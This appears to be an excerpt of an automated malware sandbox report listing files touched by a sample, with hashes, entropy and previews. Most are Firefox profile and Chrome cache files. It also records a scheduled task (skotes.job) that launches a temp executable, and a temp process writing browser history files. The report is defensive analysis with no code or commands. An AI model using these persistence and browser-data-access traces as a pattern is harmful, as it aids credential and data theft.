Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	32824
Entropy (8bit):	0.04001911727921433
Encrypted:	false
SSDEEP:	3:Ol1wS+wAc3HZa2Dc3pdDl8rEXsxdwhml8XW3R2:KWS+wAc3Hbc3pdDl8dMhm93w
MD5:	9DFCE5DCCF94E268F77A4039DE18EA69
SHA1:	F427B14E469F30137A034F3E26618A7EC907DBE3
SHA-256:	E43BBFF02E7B0E31F8682BD68C94E2616AD08623754E01C4074A7D41FCDFFB2C
SHA-512:	3C02C79A117EA2C41737B6EF28DBF801CF1E6BF570453678CAA88BB8C388ADA282AC199CCC1C50F52B623898B106B8B0641BA55A9ACAD38E3CC18722E01DE955
Malicious:	true
Preview:	7....-............w..3e.q>..".............w..3e........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.488996913022723
Encrypted:	false
SSDEEP:	192:ynaRtLYbBp6Phj4qyaaX86KlN9S5RfGNBw8djSl:3edquOEcwu0
MD5:	4B86283C3190A238A272A9010C5ED6E0
SHA1:	477E5B549137F0FFC9804A2EBCB9275068764F66
SHA-256:	429A0BFEC37A718763D02343CD43E214E43C695C699C4CD7ED74AC2BB00BEDAF
SHA-512:	4510DF3AE9FE0DD04F4865476F53EB44D568CF94BDE38FB6413C75336EA99C50E51F84C19551581B6896C2984655BF7F6733ED06D2EB64D1E70F4A93A553CC09
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1732173264);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.488996913022723
Encrypted:	false
SSDEEP:	192:ynaRtLYbBp6Phj4qyaaX86KlN9S5RfGNBw8djSl:3edquOEcwu0
MD5:	4B86283C3190A238A272A9010C5ED6E0
SHA1:	477E5B549137F0FFC9804A2EBCB9275068764F66
SHA-256:	429A0BFEC37A718763D02343CD43E214E43C695C699C4CD7ED74AC2BB00BEDAF
SHA-512:	4510DF3AE9FE0DD04F4865476F53EB44D568CF94BDE38FB6413C75336EA99C50E51F84C19551581B6896C2984655BF7F6733ED06D2EB64D1E70F4A93A553CC09
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1732173264);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	6:ltBl/l4/WN1h4BEJYqWvLue3FMOrMZ0l:DBl/WuntfJiFxMZO
MD5:	18F65713B07CB441E6A98655B726D098
SHA1:	2CEFA32BC26B25BE81C411B60C9925CB0F1F8F88
SHA-256:	B6C268E48546B113551A5AF9CA86BB6A462A512DE6C9289315E125CEB0FD8621
SHA-512:	A6871076C7D7ED53B630F9F144ED04303AD54A2E60B94ECA2AA96964D1AB375EEFDCA86CE0D3EB0E9DBB81470C6BD159877125A080C95EB17E54A52427F805FB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 7, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0834050879442
Encrypted:	false
SSDEEP:	24:JRrwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:/rnEUo9LXtR+JdkOnohYsl
MD5:	0F96947ADE42926AE1A7CC79408757A6
SHA1:	82D11B65A64904B9326335FDD26D5D2BBF06A465
SHA-256:	8AD33211E9214835DD396D248C82E4C56DDCC604C04D2EF573E281CA36A56F68
SHA-512:	A124AA8333EAE976B1B275A5487B791A588EC88EED58E117E27D1DE78487E65AA961EF5B4391BC0E4F0C242F6648CA4D09E5A22AFFAB1AA0BA85575F29D5E69A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.41274161520742
Encrypted:	false
SSDEEP:	6:jkPPlLXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBwO1ut0:YBf2RKQ1CGAFAjzvYRQVBwO1ut0
MD5:	CE95C871C87E4CA7B455F2181882A54A
SHA1:	13BDD104AA763314132F533073661E82F01D23B6
SHA-256:	EF40DCBF37532B30A805ECD4ACE2C5A6DB9CE8635962F6673E0B9489D15589BB
SHA-512:	0AC167A80FA38C3E3B3D8D1906F429AEF3C70D8E4EFD31FA773E3415EA33F41AC4372A77F0AE59B6E826CCA1CA8927887CF561F2BF5196B9584575BD21A1E134
Malicious:	false
Preview:	.........sM.Xm`%...F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435172749283721
Encrypted:	false
SSDEEP:	3072:fxkXyPqO7UX1Hme9kZbs4Voc5rSnXqwQ2i6o:fqyWFHrp4Voc5rSnawQ8o
MD5:	88481A46F50B87F4782260F1583C3620
SHA1:	5D3E4B6BA106DF9AD76D5CDDA7132B0E72F37AF2
SHA-256:	E3A5F7B492625EEF66EA32F296BECB83862DE2FC77F77A41A6621BEB0B3007F9
SHA-512:	71FDDCE6F81F006DC0B1235CFE6FD0144D9B2B4B3B831520587DD321FBCF8A1C83E10B57BBA8D472EBB581C5DC9E7598C3334B35C8817DBA58151F9E7F907098
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4967)
Category:	downloaded
Size (bytes):	4972
Entropy (8bit):	5.8316550822321185
Encrypted:	false
SSDEEP:	96:9QOSlizmQ6MeuO9dvcrrXZX0S8MXjn20j0bbIrNTya8u46ffffffL:9QOAG+uiv490S8MV4b+Nek40
MD5:	79E234B3D93F2A2B1F2F439269EED63E
SHA1:	11CDAF0681B2A45ED42B29C91728645BAC0C2C06
SHA-256:	78EED796E0BE5116E5DEDDB984CEFD7B356B012CA4FE2833DA9A04373880FF20
SHA-512:	4BD45178E998D3A7149640331BBAAE0EBDCA71960E67395390377FB02972364969B42ED27DBC67D146ACE3BD1E8BE15C6F0E5DDBEAA90739B848B1427B64D366
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["super micro computer nasdaq compliance","indiana pacers vs houston rockets","watch yellowstone season 5","youtube recap 2024 gaming","carlo acutis canonization","elton john tammy faye musical","target stock earnings","houston astros"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wM20xbhINQmFzZWJhbGwgdGVhbTKyF2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFCQUNBTUFBQUNkdDRIc0FBQUJDRkJNVkVYLy8vOEFMV0lBTEdNQUtHVUFLbVFBSjEvcmJoOEFBRmNBS21BQUVGWUFKVjRBSTEzNGN4UHNaZ0FBQ2xrQUttTCtkUTd0OFBNQUhGb0FIMXNBR0ZuYWFTYmZheU4xU0V6bmd5UHg5L3JIWXk5QldIN3VjQm9BQUZMRnpOWUFDVlM4dzgrM1hUYW1XRDNnNU9uWHdyazhOMXVxc3NGbmVKUWpRM0ZUUGxYVVp5bUxUMFpyUlU5R09sa0FMMS9BWURJYk1sNS9TMHJ3NmVaZFAxQ1JuYkZhYkl3QUFFaUJqYVJ6Z3B5WFUwRXNOVnpvZmdqMGZnRDFoeDdobG5KT

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
